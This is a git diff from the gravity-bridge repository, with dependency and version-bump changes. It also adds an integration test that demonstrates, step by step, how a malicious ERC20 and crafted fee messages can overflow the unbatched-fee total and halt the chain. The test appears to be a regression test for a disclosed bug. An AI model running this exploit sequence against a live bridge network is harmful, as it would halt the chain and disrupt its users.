"https://registry.yarnpkg.com/typescript/-/typescript-4.9.5.tgz#095979f9bcc0d09da324d58d03ce8f8374cbe65a" + integrity sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g== typical@^2.6.0, typical@^2.6.1: version "2.6.1" resolved "https://registry.yarnpkg.com/typical/-/typical-2.6.1.tgz#5c080e5d661cbbe38259d2e70a3c7253e873881d" - integrity sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0= + integrity sha512-ofhi8kjIje6npGozTip9Fr8iecmYfEbS06i0JnIg+rh51KakryWF4+jX8lLKZVhy6N+ID45WYSFCxPOdTWCzNg== typical@^4.0.0: version "4.0.0" @@ -3792,12 +3646,17 @@ typical@^5.2.0: resolved "https://registry.yarnpkg.com/typical/-/typical-5.2.0.tgz#4daaac4f2b5315460804f0acf6cb69c52bb93066" integrity sha512-dvdQgNDNJo+8B2uBQoqdb11eUCE1JQXhvjC/CZtgvZseVd5TYMXnq0+vuUemXbd/Se29cTaUuPX3YIc2xgbvIg== +undici-types@~6.20.0: + version "6.20.0" + resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-6.20.0.tgz#8171bf22c1f588d1554d55bf204bc624af388433" + integrity sha512-Ny6QZ2Nju20vw1SRHe3d9jVu6gJ+4e3+MMpqu7pqE5HT6WsTSlce++GQmK5UXS8mzV8DSYHrQH+Xrf2jVcuKNg== + undici@^5.14.0: - version "5.21.0" - resolved "https://registry.yarnpkg.com/undici/-/undici-5.21.0.tgz#b00dfc381f202565ab7f52023222ab862bb2494f" - integrity sha512-HOjK8l6a57b2ZGXOcUsI5NLfoTrfmbOl90ixJDl0AEFG4wgHNDQxtZy15/ZQp7HhjkpaGlp/eneMgtsu1dIlUA== + version "5.28.4" + resolved "https://registry.yarnpkg.com/undici/-/undici-5.28.4.tgz#6b280408edb6a1a604a9b20340f45b422e373068" + integrity sha512-72RFADWFqKmUb2hmmvNODKL3p9hcB6Gt2DOQMis1SEBaV6a4MH8soBvzg+95CYhCKPFedut2JY9bMfrDl9D23g== dependencies: - busboy "^1.6.0" + "@fastify/busboy" "^2.0.0" universalify@^0.1.0: version "0.1.2" @@ -3807,7 +3666,7 @@ universalify@^0.1.0: unpipe@1.0.0: version "1.0.0" resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" - integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw= + integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ== uri-js@^4.2.2: version "4.4.1" @@ -3817,12 +3676,12 @@ uri-js@^4.2.2: punycode "^2.1.0" url@^0.11.0: - version "0.11.0" - resolved "https://registry.yarnpkg.com/url/-/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1" - integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE= + version "0.11.4" + resolved "https://registry.yarnpkg.com/url/-/url-0.11.4.tgz#adca77b3562d56b72746e76b330b7f27b6721f3c" + integrity sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg== dependencies: - punycode "1.3.2" - querystring "0.2.0" + punycode "^1.4.1" + qs "^6.12.3" utf-8-validate@5.0.7: version "5.0.7" @@ -3834,27 +3693,27 @@ utf-8-validate@5.0.7: util-deprecate@^1.0.1: version "1.0.2" resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf" - integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8= + integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw== uuid@^3.3.2: version "3.4.0" resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.4.0.tgz#b23e4358afa8a202fe7a100af1f5f883f02007ee" integrity sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A== -uuid@^7.0.3: - version "7.0.3" - resolved "https://registry.yarnpkg.com/uuid/-/uuid-7.0.3.tgz#c5c9f2c8cf25dc0a372c4df1441c41f5bd0c680b" - integrity sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg== - uuid@^8.3.2: version "8.3.2" resolved "https://registry.yarnpkg.com/uuid/-/uuid-8.3.2.tgz#80d5b5ced271bb9af6c445f21a1a04c606cefbe2" integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg== +v8-compile-cache-lib@^3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz#6336e8d71965cb3d35a1bbb7868445a7c05264bf" + integrity sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg== + verror@1.10.0: version "1.10.0" resolved "https://registry.yarnpkg.com/verror/-/verror-1.10.0.tgz#3a105ca17053af55d6e270c1f8288682e18da400" - integrity sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA= + integrity sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw== dependencies: assert-plus "^1.0.0" core-util-is "1.0.2" @@ -3863,16 +3722,23 @@ verror@1.10.0: webidl-conversions@^3.0.0: version "3.0.1" resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz#24534275e2a7bc6be7bc86611cc16ae0a5654871" - integrity sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE= + integrity sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ== whatwg-url@^5.0.0: version "5.0.0" resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-5.0.0.tgz#966454e8765462e37644d3626f6742ce8b70965d" - integrity sha1-lmRU6HZUYuN2RNNib2dCzotwll0= + integrity sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw== dependencies: tr46 "~0.0.3" webidl-conversions "^3.0.0" +widest-line@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/widest-line/-/widest-line-3.1.0.tgz#8292333bbf66cb45ff0de1603b136b7ae1496eca" + integrity sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg== + dependencies: + string-width "^4.0.0" + wordwrapjs@^4.0.0: version "4.0.1" resolved "https://registry.yarnpkg.com/wordwrapjs/-/wordwrapjs-4.0.1.tgz#d9790bccfb110a0fc7836b5ebce0937b37a8b98f" @@ -3881,10 +3747,10 @@ wordwrapjs@^4.0.0: reduce-flatten "^2.0.0" typical "^5.2.0" -workerpool@6.2.1: - version "6.2.1" - resolved "https://registry.yarnpkg.com/workerpool/-/workerpool-6.2.1.tgz#46fc150c17d826b86a008e5a4508656777e9c343" - integrity sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw== +workerpool@^6.5.1: + version "6.5.1" + resolved "https://registry.yarnpkg.com/workerpool/-/workerpool-6.5.1.tgz#060f73b39d0caf97c6db64da004cd01b4c099544" + integrity sha512-Fs4dNYcsdpYSAfVxhnl1L5zTksjvOJxtC5hzMNl+1t9B8hTJTdKDyZ5ju7ztgPy+ft9tBFXoOlDNiOT9WUXZlA== wrap-ansi@^7.0.0: version "7.0.0" @@ -3898,7 +3764,7 @@ wrap-ansi@^7.0.0: wrappy@1: version "1.0.2" resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f" - integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8= + integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ== ws@7.4.6: version "7.4.6" @@ -3906,9 +3772,9 @@ ws@7.4.6: integrity sha512-YmhHDO4MzaDLB+M9ym/mDA5z0naX8j7SIlT8f8z+I0VtzsRbekxEutHSme7NPS2qE8StCYQNUnfWdXta/Yu85A== ws@^7.4.6: - version "7.5.6" - resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.6.tgz#e59fc509fb15ddfb65487ee9765c5a51dec5fe7b" - integrity sha512-6GLgCqo2cy2A2rjCNFlxQS6ZljG/coZfZXclldI8FB/1G3CCI36Zd8xy2HrFVACi8tfk5XrgLQEk+P0Tnz9UcA== + version "7.5.10" + resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.10.tgz#58b5c20dc281633f6c19113f39b349bd8bd558d9" + integrity sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ== xtend@^4.0.1, xtend@^4.0.2, xtend@~4.0.0: version "4.0.2" @@ -3925,17 +3791,12 @@ yallist@^3.0.2: resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd" integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g== -yargs-parser@20.2.4: - version "20.2.4" - resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.4.tgz#b42890f14566796f85ae8e3a25290d205f154a54" - integrity sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA== - -yargs-parser@^20.2.2: +yargs-parser@^20.2.2, yargs-parser@^20.2.9: version "20.2.9" resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.9.tgz#2eb7dc3b0289718fc295f362753845c41a0c94ee" integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w== -yargs-unparser@2.0.0: +yargs-unparser@^2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/yargs-unparser/-/yargs-unparser-2.0.0.tgz#f131f9226911ae5d9ad38c432fe809366c2325eb" integrity sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA== @@ -3945,7 +3806,7 @@ yargs-unparser@2.0.0: flat "^5.0.2" is-plain-obj "^2.1.0" -yargs@16.2.0: +yargs@^16.2.0: version "16.2.0" resolved "https://registry.yarnpkg.com/yargs/-/yargs-16.2.0.tgz#1c82bf0f6b6a66eafce7ef30e376f49a12477f66" integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw== diff --git a/integration_tests/fee_overflow_test.go b/integration_tests/fee_overflow_test.go new file mode 100644 index 000000000..d3c886066 --- /dev/null +++ b/integration_tests/fee_overflow_test.go @@ -0,0 +1,315 @@ +package integration_tests + +import ( + "context" + "time" + + sdkmath "cosmossdk.io/math" + sdk "github.com/cosmos/cosmos-sdk/types" + banktypes "github.com/cosmos/cosmos-sdk/x/bank/types" + "github.com/ethereum/go-ethereum/common" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" +) + +const mintABIJSON = `[ + { + "inputs": [ + { + "internalType": "address", + "name": "recipient", + "type": "address" + }, + { + "internalType": "uint256", + "name": "amount", + "type": "uint256" + } + ], + "name": "mint", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + } +]` + +func packMint(to common.Address, amount sdkmath.Int) []byte { + return packCall(mintABIJSON, "mint", []interface{}{to, amount.BigInt()}) +} + +const forceTransferABIJSON = `[ + { + "inputs": [ + { + "internalType": "address", + "name": "from", + "type": "address" + }, + { + "internalType": "address", + "name": "to", + "type": "address" + }, + { + "internalType": "uint256", + "name": "amount", + "type": "uint256" + } + ], + "name": "forceTransfer", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + } +]` + +func packForceTransfer(from common.Address, to common.Address, amount sdkmath.Int) []byte { + return packCall(forceTransferABIJSON, "forceTransfer", []interface{}{from, to, amount.BigInt()}) +} + +func (s *IntegrationTestSuite) mintMaliciousErc20(to common.Address, amount sdkmath.Int) error { + return s.SendEthTransaction(&s.chain.validators[0].ethereumKey, maliciousERC20contract, packMint(to, amount)) +} + +func (s *IntegrationTestSuite) getCosmosDenomBalance(account sdk.AccAddress, denom string) (sdkmath.Int, error) { + val := s.chain.validators[0] + kb, err := val.keyring() + if err != nil { + return sdkmath.ZeroInt(), err + } + clientCtx, err := s.chain.clientContext("tcp://localhost:26657", &kb, "val", val.address()) + if err != nil { + return sdkmath.ZeroInt(), err + } + + bankQueryClient := banktypes.NewQueryClient(clientCtx) + res, err := bankQueryClient.Balance(context.Background(), + &banktypes.QueryBalanceRequest{ + Address: account.String(), + Denom: denom, + }) + if err != nil { + return sdkmath.ZeroInt(), err + } + + return res.Balance.Amount, nil +} + +func (s *IntegrationTestSuite) sendMaliciousErc20ToCosmos(cosmosReceiver sdk.AccAddress, amount sdkmath.Int) { + err := s.SendEthTransaction(&s.chain.validators[0].ethereumKey, gravityContract, PackSendToCosmos(maliciousERC20contract, cosmosReceiver, amount)) + s.Require().NoError(err) + + denom := "gravity" + maliciousERC20contract.String() + s.Require().Eventuallyf(func() bool { + balance, err := s.getCosmosDenomBalance(cosmosReceiver, denom) + if err != nil { + return false + } + + if balance.LT(amount) { + return false + } + + return true + }, 105*time.Second, 1*time.Second, "balance never found on cosmos") +} + +func (s *IntegrationTestSuite) approve() error { + return s.SendEthTransaction(&s.chain.validators[0].ethereumKey, maliciousERC20contract, PackApproveERC20(gravityContract)) +} + +func (s *IntegrationTestSuite) clearGravityMaliciousErc20Balance() { + erc20Balance, err := s.getEthTokenBalanceOf(gravityContract, maliciousERC20contract) + s.Require().NoError(err) + + if erc20Balance.IsZero() { + s.T().Log("No balance found for gravity contract. No need to clear.") + return + } + + s.T().Logf("Clearing gravity contract balance gravityContract=%s amount=%s", gravityContract, erc20Balance) + to := common.HexToAddress(s.chain.validators[0].ethereumKey.address) + err = s.SendEthTransaction(&s.chain.validators[0].ethereumKey, maliciousERC20contract, packForceTransfer(gravityContract, to, *erc20Balance)) + s.Require().NoError(err) + + erc20Balance, err = s.getEthTokenBalanceOf(gravityContract, maliciousERC20contract) + s.Require().NoError(err) + s.Require().True(erc20Balance.IsZero()) +} + +func (s *IntegrationTestSuite) sendMsgs(mgs []sdk.Msg) { + s.Require().Eventuallyf(func() bool { + val := s.chain.validators[0] + keyring, err := val.keyring() + s.Require().NoError(err) + clientCtx, err := s.chain.clientContext("tcp://localhost:26657", &keyring, "val", val.address()) + s.Require().NoError(err) + + response, err := s.chain.sendMsgs(*clientCtx, mgs...) + if err != nil { + s.T().Logf("error: %s", err) + return false + } + if response.Code != 0 { + if response.Code != 32 { + s.T().Log(response) + } + + return false + } + return true + }, 10*time.Second, 1*time.Second, "unable to submit messages") + +} + +func (s *IntegrationTestSuite) sendToEthereumAndConfirm(amount sdkmath.Int, fee sdkmath.Int) { + denom := "gravity" + maliciousERC20contract.String() + sendToEthereumMsg := types.NewMsgSendToEthereum( + s.chain.validators[0].address(), + s.chain.validators[0].ethereumKey.address, + sdk.Coin{Denom: denom, Amount: amount}, + sdk.Coin{Denom: denom, Amount: fee}, + ) + s.sendMsgs([]sdk.Msg{sendToEthereumMsg}) +} + +func (s *IntegrationTestSuite) getBatches() []*types.SendToEthereum { + val := s.chain.validators[0] + keyring, err := val.keyring() + s.Require().NoError(err) + clientCtx, err := s.chain.clientContext("tcp://localhost:26657", &keyring, "val", val.address()) + s.Require().NoError(err) + + queryClient := types.NewQueryClient(clientCtx) + res, err := queryClient.BatchedSendToEthereums(context.Background(), &types.BatchedSendToEthereumsRequest{ + SenderAddress: val.address().String(), + }) + s.Require().NoError(err) + return res.SendToEthereums +} + +func (s *IntegrationTestSuite) getUnbatchedSendToEthereums() []*types.SendToEthereum { + val := s.chain.validators[0] + keyring, err := val.keyring() + s.Require().NoError(err) + clientCtx, err := s.chain.clientContext("tcp://localhost:26657", &keyring, "val", val.address()) + s.Require().NoError(err) + + queryClient := types.NewQueryClient(clientCtx) + res, err := queryClient.UnbatchedSendToEthereums(context.Background(), &types.UnbatchedSendToEthereumsRequest{ + SenderAddress: val.address().String(), + }) + s.Require().NoError(err) + return res.SendToEthereums +} + +func (s *IntegrationTestSuite) logBatchesAndUnbatchedTxs() { + batches := s.getBatches() + s.T().Logf("Batches: %s", batches) + + unbatched := s.getUnbatchedSendToEthereums() + s.T().Logf("Unbatched: %s", unbatched) +} + +// This test demonstrates how to exploit a vulnerability in total fee +// calculation for unbatched txs to cause an integer overflow panic in the gravity module +// begin-blocker +func (s *IntegrationTestSuite) TestUnbatchedTxsTotalFeeOverflow() { + s.T().Log("Starting test for fee overflow") + + maxSupply, ok := sdkmath.NewIntFromString("115792089237316195423570985008687907853269984665640564039457584007913129639935") + s.Require().True(ok) + + s.T().Log("Approving gravity contract to spend malicious erc20") + err := s.approve() + s.Require().NoError(err) + + sender := common.HexToAddress(s.chain.validators[0].ethereumKey.address) + cosmosReceiver := s.chain.validators[0].address() + + s.T().Logf("Minting malicious erc20 sender=%s amount=%s", sender, maxSupply) + // Mint maxSupply and transfer to Cosmos + err = s.mintMaliciousErc20(sender, maxSupply) + s.Require().NoError(err) + + s.T().Logf("Sending from Ethereum -> Cosmos cosmosReceiver=%s amount=%s", cosmosReceiver, maxSupply) + s.sendMaliciousErc20ToCosmos(cosmosReceiver, maxSupply) + // This clears the erc20 balance of the gravity bridge contract + // to make sure we can transfer the full supply multiple times w/ out + // overflowing the gravity bridge balance + s.T().Logf("Checking if gravity contract balance needs to be cleared") + s.clearGravityMaliciousErc20Balance() + + // Call SendToEthereum to create a new batch with fees of zero + // Our custom ERC20 will reject transfers of zero, which will block + // this batch from actually being executed. This gives us enough + // time to execute the remainder of our attack + s.T().Logf("Sending from Cosmos -> Ethereum amount=%s fee=%s", sdkmath.OneInt(), sdkmath.ZeroInt()) + s.sendToEthereumAndConfirm(sdkmath.OneInt(), sdkmath.ZeroInt()) + + // Wait for first batch to be created (takes ~10 blocks) + s.T().Log("Waiting for next SendToEthereum tx batch to be created") + var batches []*types.SendToEthereum + s.Require().Eventuallyf(func() bool { + batches = s.getBatches() + return len(batches) > 0 + }, 105*time.Second, 1*time.Second, "batch never created on cosmos") + + s.logBatchesAndUnbatchedTxs() + + // Call SendToEthereum again with fees of zero + // A new transfer won't be created since total unbatched fees are not greater than fee for existing batch + amount := maxSupply.Sub(sdkmath.OneInt()) + s.T().Logf("Sending from Cosmos -> Ethereum amount=%s fee=%s", amount, sdkmath.ZeroInt()) + s.sendToEthereumAndConfirm(amount, sdkmath.ZeroInt()) + + // At this point the maxSupply we initially transferred to cosmos is fully burnt + // So we can send maxSupply from Ethereum -> Cosmos AGAIN without overflowing the total supply + // Remember we force transfered funds from gravity contract to to ourselves, + // so we don't need to mint more tokens before triggering send + s.T().Logf("Sending from Ethereum -> Cosmos recipient=%s fee=%s", cosmosReceiver, maxSupply) + s.sendMaliciousErc20ToCosmos(cosmosReceiver, maxSupply) + + s.logBatchesAndUnbatchedTxs() + + // // Clear gravity bridge balance to reclaim bridged tokens + // s.T().Logf("Checking if gravity contract balance needs to be cleared") + // s.clearGravityMaliciousErc20Balance() + + // Call SendToEthereum with zero fees and maxSupply as amount + // Again, no batch will be created since total fees are not higher + // than initial batch + s.sendToEthereumAndConfirm(maxSupply, sdkmath.ZeroInt()) + + s.logBatchesAndUnbatchedTxs() + + denom := "gravity" + maliciousERC20contract.String() + // Now we'll execute the following messages together in single tx + // For each unbatched transaction, we cancel to reclaim our tokens + // and increase the fee. + // We cancel and send one at a time to prevent total supply from overflowing + // After 10 blocks, the begin-blocker will for check for new batch + // by comparing the total fees for outstanding unbatched txs with fees for + // current batch + // Computing the total fees for our unbatched sends will overflow because + // maxSupply * 2 > 2^256 - 1 (max value for sdkmath.Int) + // The chain will halt + s.T().Log("Cancelling all unbatched txs and updating fees") + msgs := []sdk.Msg{ + types.NewMsgCancelSendToEthereum(uint64(2), cosmosReceiver), + types.NewMsgSendToEthereum( + s.chain.validators[0].address(), + s.chain.validators[0].ethereumKey.address, + sdk.Coin{Denom: denom, Amount: sdkmath.OneInt()}, + sdk.Coin{Denom: denom, Amount: maxSupply.Sub(sdkmath.NewInt(2))}, + ), + types.NewMsgCancelSendToEthereum(uint64(3), cosmosReceiver), + types.NewMsgSendToEthereum( + s.chain.validators[0].address(), + s.chain.validators[0].ethereumKey.address, + sdk.Coin{Denom: denom, Amount: sdkmath.OneInt()}, + sdk.Coin{Denom: denom, Amount: maxSupply.Sub(sdkmath.OneInt())}, + ), + } + s.sendMsgs(msgs) + s.T().Log("Completed TestUnbatchedTxsTotalFeeOverflow test. Check gravity node logs.") +} diff --git a/integration_tests/happy_path_test.go b/integration_tests/happy_path_test.go index 46ec43405..a81fe48b2 100644 --- a/integration_tests/happy_path_test.go +++ b/integration_tests/happy_path_test.go @@ -15,7 +15,7 @@ import ( govtypesv1beta1 "github.com/cosmos/cosmos-sdk/x/gov/types/v1beta1" "github.com/ethereum/go-ethereum/common" "github.com/ory/dockertest/v3" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func (s *IntegrationTestSuite) TestHappyPath() { diff --git a/integration_tests/setup_test.go b/integration_tests/setup_test.go index bb4f8e42b..821b52078 100644 --- a/integration_tests/setup_test.go +++ b/integration_tests/setup_test.go @@ -38,7 +38,7 @@ import ( stakingtypes "github.com/cosmos/cosmos-sdk/x/staking/types" "github.com/ory/dockertest/v3" "github.com/ory/dockertest/v3/docker" - gravitytypes "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + gravitytypes "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" "github.com/spf13/viper" "github.com/stretchr/testify/suite" ) @@ -60,10 +60,11 @@ func MNEMONICS() []string { } var ( - stakeAmount, _ = sdk.NewIntFromString("100000000000") - stakeAmountCoin = sdk.NewCoin(testDenom, stakeAmount) - gravityContract = common.HexToAddress("0x04C89607413713Ec9775E14b954286519d836FEf") - testERC20contract = common.HexToAddress("0x4C4a2f8c81640e47606d3fd77B353E87Ba015584") + stakeAmount, _ = sdk.NewIntFromString("100000000000") + stakeAmountCoin = sdk.NewCoin(testDenom, stakeAmount) + gravityContract = common.HexToAddress("0x04C89607413713Ec9775E14b954286519d836FEf") + testERC20contract = common.HexToAddress("0x4C4a2f8c81640e47606d3fd77B353E87Ba015584") + maliciousERC20contract = common.HexToAddress("0x4C4a2f8c81640e47606d3fd77B353E87Ba015584") ) type IntegrationTestSuite struct { @@ -515,6 +516,18 @@ func (s *IntegrationTestSuite) runEthContainer() { }, time.Minute*5, time.Second*10, "unable to retrieve test erc20 address from logs") s.T().Logf("test erc20 contract deployed at %s", testERC20contract.String()) + s.Require().Eventuallyf(func() bool { + for _, s := range strings.Split(ethereumLogOutput.String(), "\n") { + if strings.HasPrefix(s, "MaliciousERC20 deployed at") { + strSpl := strings.Split(s, "-") + maliciousERC20contract = common.HexToAddress(strings.ReplaceAll(strSpl[1], " ", "")) + return true + } + } + return false + }, time.Minute*5, time.Second*10, "unable to retrieve test erc20 address from logs") + s.T().Logf("malicious erc20 contract deployed at %s", maliciousERC20contract.String()) + s.T().Logf("started Ethereum container: %s", s.ethResource.Container.ID) } diff --git a/integration_tests/transaction_stress_test.go b/integration_tests/transaction_stress_test.go index 4851345b5..9664620db 100644 --- a/integration_tests/transaction_stress_test.go +++ b/integration_tests/transaction_stress_test.go @@ -10,7 +10,7 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" banktypes "github.com/cosmos/cosmos-sdk/x/bank/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // We have 4 validators running so this totals to 100 tx's diff --git a/integration_tests/validator.go b/integration_tests/validator.go index 29b1d0f11..2f14d3275 100644 --- a/integration_tests/validator.go +++ b/integration_tests/validator.go @@ -28,8 +28,8 @@ import ( stakingtypes "github.com/cosmos/cosmos-sdk/x/staking/types" "github.com/ethereum/go-ethereum/common/hexutil" "github.com/ethereum/go-ethereum/crypto" - "github.com/peggyjv/gravity-bridge/module/v5/app" - gravitytypes "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/app" + gravitytypes "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) type validator struct { diff --git a/integration_tests/validator_out.go b/integration_tests/validator_out.go index d901b3344..4e252ccb6 100644 --- a/integration_tests/validator_out.go +++ b/integration_tests/validator_out.go @@ -8,7 +8,7 @@ import ( banktypes "github.com/cosmos/cosmos-sdk/x/bank/types" stakingtypes "github.com/cosmos/cosmos-sdk/x/staking/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // Validator out tests a validator that is not running the mandatory Ethereum node. This validator will be slashed and the bridge will remain functioning. diff --git a/integration_tests/valset_stress_test.go b/integration_tests/valset_stress_test.go index 04fe4dfbf..6b2e261ee 100644 --- a/integration_tests/valset_stress_test.go +++ b/integration_tests/valset_stress_test.go @@ -7,7 +7,7 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" "github.com/cosmos/cosmos-sdk/x/staking/types" - gravity "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + gravity "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // call stress_test for a range of nonce values diff --git a/module/app/app.go b/module/app/app.go index 56b196ba5..e54c30268 100644 --- a/module/app/app.go +++ b/module/app/app.go @@ -94,12 +94,13 @@ import ( icaexported "github.com/cosmos/ibc-go/v7/modules/core/exported" ibckeeper "github.com/cosmos/ibc-go/v7/modules/core/keeper" "github.com/gorilla/mux" - gravityparams "github.com/peggyjv/gravity-bridge/module/v5/app/params" - v5 "github.com/peggyjv/gravity-bridge/module/v5/app/upgrades/v5" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity" - gravityclient "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/client" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/keeper" - gravitytypes "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + gravityparams "github.com/peggyjv/gravity-bridge/module/v6/app/params" + v5 "github.com/peggyjv/gravity-bridge/module/v6/app/upgrades/v5" + v6 "github.com/peggyjv/gravity-bridge/module/v6/app/upgrades/v6" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity" + gravityclient "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/client" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/keeper" + gravitytypes "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" "github.com/rakyll/statik/fs" "github.com/spf13/cast" @@ -930,4 +931,12 @@ func (app *Gravity) setupUpgradeHandlers() { app.configurator, ), ) + + app.upgradeKeeper.SetUpgradeHandler( + v6.UpgradeName, + v6.CreateUpgradeHandler( + app.mm, + app.configurator, + ), + ) } diff --git a/module/app/encoding.go b/module/app/encoding.go index 9efb8c398..67e387e34 100644 --- a/module/app/encoding.go +++ b/module/app/encoding.go @@ -2,7 +2,7 @@ package app import ( "github.com/cosmos/cosmos-sdk/std" - gravityparams "github.com/peggyjv/gravity-bridge/module/v5/app/params" + gravityparams "github.com/peggyjv/gravity-bridge/module/v6/app/params" ) // MakeEncodingConfig creates an EncodingConfig for gravity. diff --git a/module/app/upgrades/v2/upgrades.go b/module/app/upgrades/v2/upgrades.go index a3e0cc098..d4572e5bc 100644 --- a/module/app/upgrades/v2/upgrades.go +++ b/module/app/upgrades/v2/upgrades.go @@ -7,7 +7,7 @@ import ( "github.com/cosmos/cosmos-sdk/types/module" bankkeeper "github.com/cosmos/cosmos-sdk/x/bank/keeper" upgradetypes "github.com/cosmos/cosmos-sdk/x/upgrade/types" - gravitytypes "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + gravitytypes "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func CreateUpgradeHandler( diff --git a/module/app/upgrades/v2/upgrades_test.go b/module/app/upgrades/v2/upgrades_test.go index 1bd9fb06f..48e74e194 100644 --- 